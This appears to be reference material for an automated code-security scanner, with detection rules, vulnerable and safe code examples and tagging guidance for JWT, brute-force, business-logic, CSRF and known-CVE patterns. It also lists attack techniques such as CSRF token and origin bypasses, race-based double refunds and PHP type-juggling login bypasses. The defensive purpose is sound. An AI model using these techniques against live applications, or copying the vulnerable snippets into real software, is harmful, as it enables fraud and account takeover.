- **VULN**: `jwt.verify(token, secret, { algorithms: ['none'] })`
- **VULN**: `jwt.decode(token)` used for authorization decisions (decodes without verification)
- **VULN**: Algorithm taken from token header and passed directly to verify
- **SAFE**: `jwt.verify(token, SECRET, { algorithms: ['HS256'] })`

### PHP
- **VULN**: `JWT::decode($token, null, ['none'])` — Firebase JWT with null key and none algorithm
- **VULN**: Base64-decoding claims and using them without signature verification
- **Pattern**: Any `alg: none` acceptance = CRITICAL

## FALSE POSITIVE Rules

- Do NOT emit `jwt` or `authentication_jwt` when the project already has an `authentication` tag for the same auth weakness — use the more precise tag. Emit `jwt` only when the vulnerability is specifically in JWT implementation (algorithm confusion, weak signing key, missing validation), not general authentication bypass.
- Do NOT emit for JWT libraries used correctly with proper algorithm pinning, key management, and claim validation — even if the signing key is hardcoded in a demo/test context.
- Cookie flag issues alone are not `authentication_jwt` unless a JWT validation or token-trust flaw is present.
- Emit `jwt` only when an attacker-supplied token from a header, cookie, or parameter is actually verified or accepted by a mapped vulnerable route. Helper classes, token-generation demos, and storage-only examples are insufficient alone.

## Session Fixation Detection

See dedicated `references/session_fixation.md` for CWE-384 detection rules, Java Servlet patterns, and Spring Security configuration checks.

## references/brute_force.md

---
name: brute_force
description: Detect missing rate limiting and account lockout on authentication endpoints (login, OTP, password reset) that allow brute-force attacks.
---

# Brute Force / Missing Rate Limiting

When authentication endpoints impose no restrictions on the number of attempts, an attacker can run automated tools to guess passwords, OTP codes, or reset tokens at high speed. The absence of rate limiting, account lockout, or CAPTCHA converts an authentication endpoint into a wide-open enumeration target.

## Scope

- Login endpoints (username/password, PIN)
- OTP / 2FA verification endpoints
- Password reset token validation endpoints
- Account enumeration via response differences

## Vulnerable Conditions

An authentication endpoint qualifies as vulnerable when it exhibits **all** of:
1. No rate limit (no `@limiter.limit(...)`, no IP-based throttle).
2. No account lockout mechanism that triggers after N consecutive failures.
3. No CAPTCHA or equivalent bot-detection control.

## Safe Patterns

- `@limiter.limit("5 per minute")` or an equivalent decorator applied directly to the route.
- A login failure counter stored in session or database that locks the account after a configurable threshold.
- CAPTCHA integration (`recaptcha`, `hcaptcha`) wired into the authentication flow.
- Note: `time.sleep()` introduces a delay but is not a genuine defense — flag it but do not classify the endpoint as safe.

---

## Python Source Detection Rules

### Flask
- **VULN**: Login route with no Flask-Limiter decorator and no lockout logic:
  ```python
  @app.route('/login', methods=['POST'])
  def login():
      user = User.query.filter_by(username=request.form['username']).first()
      if user and user.check_password(request.form['password']):
          login_user(user)
  ```
- **VULN**: OTP check with no attempt counter:
  ```python
  @app.route('/verify-otp', methods=['POST'])
  def verify_otp():
      if request.form['otp'] == session['otp']:
          session['verified'] = True
  ```
- **SAFE**: `@limiter.limit("5 per minute")` from `flask_limiter`
- **SAFE**: Failed attempt counter: `user.failed_attempts += 1; if user.failed_attempts >= 5: user.locked = True`

### Django
- **VULN**: `authenticate(username=..., password=...)` in a view with no `django-axes` or `django-ratelimit`
- **SAFE**: `@ratelimit(key='ip', rate='5/m', block=True)` from `django_ratelimit`
- **SAFE**: `django-axes` installed and configured in `INSTALLED_APPS`

### Password reset
- **VULN**: Token validated with no expiry check AND no one-time-use enforcement:
  ```python
  user = User.query.filter_by(reset_token=token).first()
  if user:
      user.set_password(new_password)
  ```
- **SAFE**: `if user.reset_token_expires < datetime.utcnow(): abort(400)`

---

## JavaScript Source Detection Rules

### Express
- **VULN**: Login route with no rate-limiting middleware:
  ```js
  app.post('/login', async (req, res) => {
      const user = await User.findOne({username: req.body.username});
      if (user && await bcrypt.compare(req.body.password, user.password)) {
          req.session.userId = user._id;
      }
  });
  ```
- **SAFE**: `express-rate-limit` applied: `app.use('/login', loginLimiter)` where `loginLimiter = rateLimit({ windowMs: 15*60*1000, max: 10 })`
- **SAFE**: `express-brute` or `rate-limiter-flexible` applied to auth routes

### OTP / 2FA
- **VULN**: `/verify-otp` route with no attempt counter in session or DB
- **SAFE**: `if (otpAttempts >= 5) return res.status(429).json({error: 'Too many attempts'})`

---

## PHP Source Detection Rules

### Login check
- **VULN**: Direct password comparison with no lockout:
  ```php
  if ($_POST['password'] == $row['password']) {
      $_SESSION['logged_in'] = true;
  }
  ```
- **VULN**: `password_verify($_POST['password'], $hash)` with no failed attempt tracking
- **SAFE**: Check `$_SESSION['login_attempts']` and enforce lockout threshold

### Rate limiting
- **VULN**: No call to rate-limit library (no `RateLimit`, no APCu/Redis counter check)
- **SAFE**: `if ($redis->incr('login_attempts:' . $ip) > 5) { http_response_code(429); exit; }`

### Password reset
- **VULN**: `SELECT * FROM users WHERE reset_token = '$token'` with no expiry column check
- **SAFE**: `WHERE reset_token = ? AND token_expires > NOW()` with token invalidated after use

### Brute Force Vulnerable Code Patterns (SAST Detection)

The vulnerability exists when an authentication, OTP, password-reset, or similar endpoint has NO rate limiting, lockout, or CAPTCHA protection.

```python
# VULNERABLE: login endpoint with no rate limiting
@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password, password):
        return jsonify({'token': generate_token(user)})
    return jsonify({'error': 'Invalid credentials'}), 401
# No: attempt counter, lockout, sleep/delay, CAPTCHA, rate limit decorator
# Attacker can submit thousands of requests/second

# VULNERABLE: OTP/verification code with no attempt limit
@app.route('/verify-otp', methods=['POST'])
def verify_otp():
    code = request.json.get('code')
    if code == session.get('otp'):
        return jsonify({'success': True})
    return jsonify({'error': 'Invalid code'}), 400
# 4-digit OTP = 10,000 possibilities, no lockout = always brute-forceable
```

```java
// VULNERABLE: no account lockout in Spring Security login
// Note: WebSecurityConfigurerAdapter is deprecated since Spring Security 5.7 / Spring Boot 2.7.
// Modern applications use @Bean SecurityFilterChain instead. Check both patterns.
@Override
protected void configure(HttpSecurity http) throws Exception {
    http.formLogin()
        .loginProcessingUrl("/login")
        // No: lockout policy, no CAPTCHA
        // Note: .maximumSessions(1) limits concurrent sessions but does NOT prevent brute force;
        // it restricts how many sessions a user can have simultaneously, not login attempt rate.
        .permitAll();
}

// VULNERABLE: password reset without attempt tracking
@PostMapping("/reset-password")
public ResponseEntity<?> resetPassword(@RequestBody ResetRequest req) {
    User user = userRepo.findByEmail(req.getEmail());
    // No rate limiting on how many reset attempts per email/IP
    emailService.sendResetLink(user.getEmail(), generateToken());
    return ResponseEntity.ok().build();
}
```

```js
// VULNERABLE: Express login route without rate limiter
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    const user = await User.findOne({ username });
    if (user && await bcrypt.compare(password, user.password)) {
        res.json({ token: generateJWT(user) });
    } else {
        res.status(401).json({ error: 'Invalid credentials' });
    }
});
// No express-rate-limit, no lockout, no CAPTCHA

// SAFE: with rate limiting
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({ windowMs: 15*60*1000, max: 5 });
app.post('/login', loginLimiter, async (req, res) => { ... });
```

```php
// VULNERABLE: login with no rate limiting
if ($_POST['password'] === $user['password']) {
    $_SESSION['user_id'] = $user['id'];
}
// No attempt counter in session/DB, no lockout

// VULNERABLE: admin panel with no lockout
if (isset($_POST['admin_password']) && $_POST['admin_password'] === ADMIN_PASSWORD) {
    $_SESSION['is_admin'] = true;
}
```

### Brute Force Detection Signals

**VULN indicators** (any auth endpoint missing ALL of these):
1. Per-IP or per-account request rate limiting (e.g., `flask-limiter`, `express-rate-limit`, Spring `RateLimiter`)
2. Account lockout after N failed attempts (counter in DB/Redis)
3. CAPTCHA on login/registration
4. Progressive delay / exponential backoff on failures

**Special attention**:
- 4-6 digit numeric OTP/PIN with no attempt limit → always brute-forceable
- Password reset token with short/numeric format AND no attempt limit
- Admin panel (`/admin`, `/wp-admin`, `/manager`) with no lockout

### Brute Force TRUE POSITIVE Rules

- Login/auth endpoint with no visible rate limit, lockout, or CAPTCHA implementation → **CONFIRM** (`brute_force`)
- OTP/verification endpoint with no attempt counter → **CONFIRM** (`brute_force`)
- Password reset with no rate limiting on email submission → **CONFIRM** (`brute_force`)
- GraphQL mutation for login with no per-resolver rate limit → **CONFIRM** (`brute_force` + `graphql`)

### Brute Force FALSE POSITIVE Rules

- `flask-limiter`, `express-rate-limit`, Django `ratelimit`, Spring `Bucket4j` decorators present on the endpoint → **SAFE** (rate limited)
- Lockout logic: DB field `failed_attempts` checked and account disabled after threshold → **SAFE**
- CAPTCHA validated server-side on each attempt → mitigates brute force
- Do NOT emit `brute_force` merely because an authentication endpoint exists without visible rate limiting. The absence of rate limiting code in the scanned repository does NOT confirm brute force vulnerability — rate limiting may be implemented at the infrastructure level (WAF, reverse proxy, API gateway, load balancer) outside the application code.
- Do NOT emit `brute_force` when the project is a vulnerability demonstration or benchmark — focus on whether brute force is an explicit vulnerability category demonstrated by the project, not an incidental missing defense.
- Only emit when there is CONFIRMED: (a) a login/auth endpoint accepting credentials, AND (b) explicit evidence the endpoint processes unlimited attempts (e.g., a loop, no counter, no lockout after N attempts in the application code).

## references/business_logic.md

---
name: business-logic
description: Business logic testing for workflow bypass, state manipulation, and domain invariant violations
---

# Business Logic Flaws

Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.

## Where to Look

- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
- Authorization-by-logic: feature gates, role transitions, approval workflows
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
- Multi-tenant isolation: cross-organization data or action bleed
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency

## High-Value Targets

- Pricing/cart: price locks, quote to order, tax/shipping computation
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters

## Reconnaissance

### Workflow Mapping

- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)

### Input Surface

- Hidden fields and client-computed totals; server must recompute on trusted sources
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes

### State and Time Axes

- Replays: resubmit stale finalize/confirm requests
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges

## Vulnerability Patterns

### State Machine Abuse

- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
- Split a single constrained action into many sub-actions under the threshold (limit slicing)

### Concurrency and Idempotency

- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund

### Numeric and Currency

- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails

### Quotas, Limits, and Inventory

- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
- Distributed counters without strong consistency enabling double-consumption

### Refunds and Chargebacks

- Double-refund: refund via UI and support tool; refund partials summing above captured amount
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks

### Feature Gates and Roles

- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)

## Advanced Techniques

### Event-Driven Sagas

- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly

### Microservices Boundaries

- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state

### Multi-Tenant Isolation

- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement

## Evasion Patterns

- Content-type switching (JSON/form/multipart) to hit different code paths
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware

## Special Contexts

### E-commerce

- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
- Modify shipping tier post-quote; abuse returns to keep product and refund

### Banking/Fintech

- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
- Exploit grace periods on holds/authorizations to withdraw again before settlement

### SaaS/B2B

- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
- Usage metering: report late or duplicate usage to avoid billing or to over-consume

## Chaining Attacks

- Business logic + race: duplicate benefits before state updates
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
- Business logic + CSRF: force a victim to complete a sensitive step sequence

## Analysis Workflow

1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants
2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role
3. **Test transitions** - Step skipping, repetition, reordering, late mutation
4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types
5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants

## Confirming a Finding

1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas)
2. Provide side-by-side evidence for intended vs abused flows with the same principal
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views)
4. Quantify impact per action and at scale (unit loss × feasible repetitions)

## Common False Alarms

- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
- Visual-only inconsistencies with no durable or exploitable state change
- Admin-only operations with proper audit and approvals

## Business Risk

- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
- Regulatory/contractual violations (billing accuracy, consumer protection)
- Denial of inventory/services to legitimate users through resource exhaustion
- Privilege retention or unauthorized access to premium features

## Analyst Notes

1. Start from invariants and ledgers, not UI—prove conservation of value breaks
2. Test with time and concurrency; many bugs only appear under pressure
3. Recompute totals server-side; never accept client math—flag when you observe otherwise
4. Treat idempotency and retries as first-class: verify key scope and persistence
5. Probe background workers and webhooks separately; they often skip auth and rule checks
6. Validate role/feature gates at the service that mutates state, not only at the edge
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards

## Core Principle

Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.

## Static Analysis Heuristics for Business Logic Flaws

Business logic flaws are notoriously hard to detect statically, but the following code patterns are strong indicators:

### 1. Client-Side-Only Enforcement
When security-critical decisions are enforced only in JavaScript/HTML but not validated server-side:
```python
# VULN: hidden form field controls admin access — no server-side check
# HTML: <input type="hidden" name="isAdmin" value="0">
if request.form.get('isAdmin') == '1':
    grant_admin_access()
```
```php
// VULN: client-side role check, server trusts whatever arrives
if ($_POST['role'] === 'admin') {
    $_SESSION['role'] = 'admin';  // no verification against DB
}
```

### 2. Type Juggling / Loose Comparison Auth Bypass
When authentication or authorization uses loose comparison that can be tricked:
```php
// VULN: strcmp returns NULL on type juggling (array input), NULL == 0 is true
if (strcmp($_POST['password'], $stored_password) == 0) { login(); }

// VULN: MD5 magic hash — '0e...' == '0e...' is true in loose comparison
if (md5($_POST['password']) == $stored_hash) { login(); }
```

### 3. Hardcoded Verification / 2FA Codes
```python
# VULN: 2FA code is hardcoded, not generated per-session
if request.form['2fa_code'] == '1234':
    session['2fa_verified'] = True
```

### 4. Missing Server-Side Price/Amount Validation
When the server accepts client-computed values for financial transactions:
```python
# VULN: total comes from client, not recomputed from item prices
total = request.form['total']
charge_payment(total)
```

### 5. State Machine Violations
When critical workflow steps can be skipped or reordered:
```python
# VULN: no check that step 1 (verification) was completed before step 2 (action)
@app.route('/transfer', methods=['POST'])
def transfer():
    # missing: if not session.get('verified'): abort(403)
    do_transfer(request.form['amount'], request.form['to'])
```

### 6. HTTP Method Tampering
When access control checks apply only to certain HTTP methods:
```python
# VULN: POST is protected but GET/PUT/DELETE bypass the check
@app.route('/admin/action', methods=['GET', 'POST', 'PUT', 'DELETE'])
def admin_action():
    if request.method == 'POST':
        if not current_user.is_admin:
            abort(403)
    # GET/PUT/DELETE reach here without admin check
    perform_action()
```
```
# .htaccess — VULN: only protects GET and POST
<Limit GET POST>
    Require valid-user
</Limit>
# PUT, DELETE, PATCH bypass authentication entirely
```

### 7. Insufficient Rate Limiting on Sensitive Operations
When brute-forceable operations lack rate limiting:
```python
# VULN: no rate limit on password reset / OTP verification
@app.route('/verify_otp', methods=['POST'])
def verify_otp():
    if request.form['otp'] == session['otp']:  # 4-digit = 10000 attempts
        reset_password()
```

### When to Tag Business Logic
- The vulnerability **cannot be described by a more specific injection or access control class**
- The flaw is in the **application's domain rules**, not in generic input handling
- The exploit involves **abusing intended functionality** rather than injecting payloads
- Client-side-only enforcement of critical business rules
- HTTP method tampering that bypasses access controls
- Type juggling or loose comparison that breaks authentication logic

### Relationship to Concurrency

| Signal | Tag | Rationale |
|--------|-----|-----------|
| Race condition on shared resource (double-spend, TOCTOU) | `race_conditions` | Primary exploit is timing/concurrency |
| Business rule bypass that uses parallel requests as the mechanism | `business_logic` | Primary exploit is domain invariant violation; concurrency is only the vehicle |
| Idempotency key reuse across users | `business_logic` | Domain-level key scoping flaw, not a raw concurrency bug |
| Thread-pool exhaustion via unbounded parallel requests | `denial_of_service` | Resource exhaustion, not a business rule |

When both concurrency AND business logic are present, prefer the tag that describes the **primary exploit primitive**. If the attacker must violate a domain invariant (price, quota, state machine) to achieve impact, tag `business_logic` even if concurrency is the delivery mechanism.

### Tag Precision in Benchmark Mode

To reduce false positives, apply the following guardrails when tagging `business_logic`:

- Do NOT emit `business_logic` when a more specific tag fully describes the vulnerability (e.g., `csrf`, `idor`, `race_conditions`, `brute_force`)
- Do NOT emit `business_logic` for missing input validation that is better described as an injection class (SQLi, XSS, etc.)
- Do NOT emit `business_logic` for generic missing authorization -- prefer `privilege_escalation` or `idor`
- Emit `business_logic` only when the flaw is in the **application's domain rules** and cannot be reduced to a standard vulnerability class

## references/csrf.md

---
name: csrf
description: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse
---

# CSRF

Cross-site request forgery exploits ambient authority — cookies and HTTP authentication — by issuing requests across origins on behalf of a victim. CORS alone is not a sufficient defense; every state-changing operation must require a non-replayable token and enforce strict origin validation.

## Where to Look

**Session Types**
- Web applications using cookie-based sessions and HTTP authentication
- JSON/REST endpoints, GraphQL (GET or persisted queries), and file upload surfaces

**Authentication Flows**
- Login, logout, password and email change, MFA enable/disable

**OAuth/OIDC**
- Authorize, token, logout, and connect/disconnect endpoints

## High-Value Targets

- Credential and profile updates (email/password/phone)
- Payment processing, money transfers, subscription and plan changes
- API key and secret generation, PAT rotation, SSH key management
- 2FA/TOTP enable and disable; backup codes; device trust
- OAuth connect/disconnect; logout; account deletion
- Admin and staff actions, impersonation workflows
- File uploads and deletions; access control modifications

## Reconnaissance

### Session and Cookies

- Examine cookies for HttpOnly, Secure, and SameSite attributes (Strict/Lax/None)
- Lax permits cookies on top-level cross-site GET navigation; None requires the Secure attribute
- Determine whether Authorization headers or bearer tokens are in use (generally not CSRF-prone) versus cookies (CSRF-prone)

### Token and Header Checks

- Find anti-CSRF tokens in hidden inputs, meta tags, or custom headers
- Test removal, indefinite reuse, cross-session reuse, and binding to specific methods or paths
- Verify the server validates Origin and/or Referer on all state-changing operations
- Try null, missing, and cross-origin header values

### Method and Content-Types

- Determine whether GET, HEAD, or OPTIONS trigger any state changes
- Attempt simple content-types that avoid CORS preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
- Test parsers that automatically coerce `text/plain` or form-encoded bodies into JSON

### CORS Profile

- Identify `Access-Control-Allow-Origin` and `-Credentials` header values
- Permissive CORS configurations do not remediate CSRF and can escalate it into data exfiltration
- Test per-endpoint CORS behavior; preflight and simple request handling can diverge within the same application

## Vulnerability Patterns

### Navigation CSRF

- An auto-submitting form targeting the victim origin succeeds when cookies are automatically sent and no token or origin check is enforced
- Top-level GET navigation can cause state changes when the server misuses the GET method or wires actions to GET callbacks

### Simple Content-Type CSRF

- `application/x-www-form-urlencoded` and `multipart/form-data` POST requests never trigger a CORS preflight
- `text/plain` form bodies can slip past request validators and be parsed server-side as legitimate input

### JSON CSRF

- When a server parses JSON from `text/plain` or form-encoded bodies, craft parameters that reconstruct the expected JSON structure
- Some frameworks accept JSON keys expressed as form fields (e.g., `data[foo]=bar`) or handle duplicate keys permissively

### Login/Logout CSRF

- Force a victim logout to invalidate existing CSRF tokens, then chain a login CSRF to bind the victim's browser to an attacker-controlled account
- Login CSRF: POST attacker credentials into the victim's browser so subsequent actions execute under the attacker's identity

### OAuth/OIDC Flows

- Abuse authorize and logout endpoints that are accessible via GET or unauthenticated form POST without origin enforcement
- Exploit permissive SameSite behavior on top-level navigations to send authenticated requests cross-site
- Open redirects or loose `redirect_uri` validation can be chained with CSRF to force unintended authorization grants

### File and Action Endpoints

- File upload and deletion endpoints frequently omit token checks; forge multipart requests to manipulate stored content
- Admin actions exposed as simple POST links are often vulnerable to CSRF without additional protection

### GraphQL CSRF

- If queries or mutations are accepted via GET or persisted queries, exploit top-level navigation with URL-encoded payloads
- Batched requests may obscure mutations inside an ostensibly safe combined operation

### WebSocket CSRF

- Browsers automatically include cookies on WebSocket upgrade requests
- Without server-side Origin enforcement, cross-site pages can establish authenticated WebSocket connections and trigger server-side actions

## Evasion Patterns

### SameSite Nuance

- Lax-by-default cookies are transmitted on top-level cross-site GET but withheld on cross-site POST
- Focus on GET-based state changes and GET-triggered confirmation steps
- Older or nonstandard browsers may not respect SameSite; validate findings across multiple clients and devices

### Origin/Referer Obfuscation

- Sandboxed iframes generate a null Origin value; some frameworks incorrectly permit null as a valid origin
- Navigating from `about:blank` or `data:` URLs alters or removes the Referer header
- Confirm the server requires an explicit, non-null Origin or Referer match

### Method Override

- Backends that honor `_method` or `X-HTTP-Method-Override` may allow destructive mutations to be triggered via a simple POST

### Token Weaknesses

- Accepting missing or empty token values
- Tokens that are not bound to the session, user identity, or specific path
- Tokens that can be reused indefinitely, or tokens transmitted via GET parameters
- Double-submit cookies lacking Secure/HttpOnly, or using predictable token generation

### Content-Type Switching

- Alternate between form-encoded, multipart, and `text/plain` to reach different parsing code paths
- Use duplicate keys and array-shaped values to confuse or misalign parsers

### Header Manipulation

- Remove the Referer header by navigating through a meta refresh or launching from `about:blank`
- Probe null Origin acceptance explicitly
- Leverage CORS misconfigurations to inject custom headers that the server incorrectly treats as CSRF tokens

## Special Contexts

### Mobile/SPA

- Deep links and embedded WebViews may silently forward cookies; trigger state changes via crafted intents or deep links
- SPAs relying exclusively on bearer tokens are less susceptible to CSRF, but hybrid applications that mix cookies and API calls may remain vulnerable

### Integrations

- Webhooks and back-office management tools occasionally expose state-changing GET endpoints intended only for internal staff use
- Verify CSRF protections are consistently applied to these surfaces as well

## Chaining Attacks

- CSRF + IDOR: once object references are known, force the victim to act on other users' resources
- CSRF + Clickjacking: steer user interactions to bypass confirmation dialogs in the UI
- CSRF + OAuth mix-up: bind victim sessions to unintended OAuth clients

## Analysis Workflow

1. **Inventory endpoints** - Enumerate all state-changing operations, including admin and staff-facing routes
2. **Note request details** - Record method, content-type, and whether the endpoint is reachable via simple requests
3. **Assess session model** - Evaluate cookies with their SameSite attributes, custom headers, and anti-CSRF tokens
4. **Check defenses** - Examine anti-CSRF token presence and Origin/Referer validation logic
5. **Attempt preflightless delivery** - Try form POST, `text/plain`, and `multipart/form-data` vectors
6. **Test navigation** - Probe top-level GET navigation paths
7. **Cross-browser validation** - Compare behavior across browsers and navigation contexts; SameSite handling differs

## Confirming a Finding

1. Demonstrate that a cross-origin page triggers a state change without requiring any user interaction beyond a page visit
2. Show that removing the anti-CSRF control (token or custom header) is accepted by the server, or that Origin/Referer headers are not validated
3. Reproduce the behavior across at least two browsers or contexts (top-level navigation vs XHR/fetch)
4. Supply before-and-after state evidence from the same account
5. Where defenses exist, identify the precise bypass condition — content-type switch, method override, null Origin, etc.

## Common False Alarms

- Token verification is present, required, and enforced consistently; Origin/Referer checks pass every time
- No cookies are transmitted on cross-site requests (SameSite=Strict, no HTTP auth) and no state changes occur via simple requests
- Only idempotent, non-sensitive read operations are reachable cross-site
- Login/logout CSRF producing only generic session confusion without a concrete, demonstrable security consequence should generally not be reported
- Endpoints protected exclusively by bearer-token or header-based authentication rather than browser cookies are not CSRF-prone

## Java Source Detection Rules

### TRUE POSITIVE: Global CSRF protection disabled in Spring Security
- `.csrf().disable()` or `.csrf(AbstractHttpConfigurer::disable)` or `.csrf(csrf -> csrf.disable())` appearing inside a `WebSecurityConfigurerAdapter` or `SecurityFilterChain` disables CSRF protection for ALL endpoints — confirm CWE-352 for any state-changing POST/PUT/DELETE endpoint relying on session or cookie authentication.
- **Note**: `WebSecurityConfigurerAdapter` is deprecated since Spring Security 5.7 / Spring Boot 2.7. Modern applications use a `@Bean SecurityFilterChain` method instead. Both patterns should be checked: the deprecated `extends WebSecurityConfigurerAdapter` style and the modern `@Bean` component-based style.
- This is a high-confidence finding: global CSRF disable combined with session-based auth and at least one state-changing endpoint constitutes a confirmed vulnerability.
- A single POST endpoint that modifies state (registration, profile update, funds transfer) is sufficient to confirm the finding.

### TRUE POSITIVE: Missing CSRF token on specific form
- A Spring MVC form endpoint that lacks `<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>` in its template, and for which CSRF is not disabled globally, is individually vulnerable.

### FALSE POSITIVE: Stateless JWT-only API
- When all endpoints authenticate exclusively via `Authorization: Bearer` headers and the application issues no session cookies, CSRF is not applicable. Only exclude when the `SecurityConfig` confirms stateless mode via `SessionCreationPolicy.STATELESS`.

## Business Risk

- Account state modification (email/password/MFA changes) and session hijacking through login CSRF
- Financial operations and administrative actions performed without user intent
- Long-lasting authorization changes (role or permission flips, credential rotations) and irreversible data loss

## Analyst Notes

1. Prioritize preflightless delivery vectors — form-encoded, multipart, and `text/plain` — and top-level GET if state changes are reachable that way
2. Begin with login, logout, OAuth connect/disconnect, and account linking flows before moving to less sensitive endpoints
3. Verify Origin/Referer validation explicitly; do not assume frameworks enforce these checks
4. Toggle SameSite values and compare behavior between top-level navigation and XHR/fetch contexts
5. For GraphQL, test GET-based queries or persisted queries that include mutations
6. Always attempt method overrides and content-type parser differentials
7. When visual confirmation dialogs block CSRF, combine with clickjacking to guide victim interaction

## Core Principle

CSRF is only fully mitigated when state changes require a secret the attacker cannot obtain and the server independently verifies the request origin. Tokens and origin checks must hold consistently across all methods, content-types, and transport paths.
- State-changing routes without CSRF token validation should be tagged `csrf` even when the controller only binds form fields and directly persists them.
- Require a browser-driven, cookie-backed, state-changing flow before tagging `csrf`. Missing tokens on JSON helpers, setup endpoints, or samples that do not rely on ambient browser cookies are not enough by themselves.

## Additional FALSE POSITIVE Rules

- Do NOT emit `csrf` for REST APIs that exclusively use Bearer token authentication (Authorization header) with no cookie-based session — these are inherently CSRF-safe.
- Do NOT emit `csrf` when `.csrf().disable()` is configured alongside `SessionCreationPolicy.STATELESS` in a pure API context — this is correct Spring Security configuration for stateless APIs.
- Do NOT emit `csrf` for login/registration endpoints where the only consequence is session creation (no privilege change, no data modification).

## references/cve_patterns.md

---
name: cve_patterns
description: Detect known dangerous code patterns associated with high-severity library vulnerabilities, identified by sink pattern rather than version number.
---

# Known CVE Pattern Detection

This skill surfaces dangerous patterns associated with well-known library vulnerabilities. Detection is grounded in **sink + source pattern** — the dangerous function call combined with user-controlled input — rather than version pinning, because the pattern itself carries design-level risk regardless of patch status.

## Philosophy

Rather than checking `requirements.txt` version numbers (which change), this skill flags code where:
1. A historically-vulnerable function is called.
2. With user-controlled or externally-sourced input.

Even when the library is up to date, the pattern signals an architectural risk worth reviewing.

---

## Python Source Detection Rules

### PyYAML — Arbitrary Code Execution
- **VULN**: `yaml.load(user_input)` — no `Loader` argument; pre-6.0 default is `FullLoader` (unsafe)
- **VULN**: `yaml.load(user_input, Loader=yaml.Loader)` — `yaml.Loader` executes arbitrary Python
- **VULN**: `yaml.load(yaml.Loader)` with any file or stream from user uploads or external sources
- **SAFE**: `yaml.safe_load(user_input)` — restricts to basic Python objects, no code execution
- **SAFE**: `yaml.load(data, Loader=yaml.SafeLoader)`
- **Pattern to flag**: `yaml.load(` without `Loader=yaml.SafeLoader` or `Loader=yaml.CSafeLoader`

### Pillow — Remote/User Image Processing
- **RISK**: `Image.open(user_uploaded_file)` — decompression bomb, ImageMagick delegation exploits
- **MITIGATION**: `Image.MAX_IMAGE_PIXELS = 10000000` set before processing
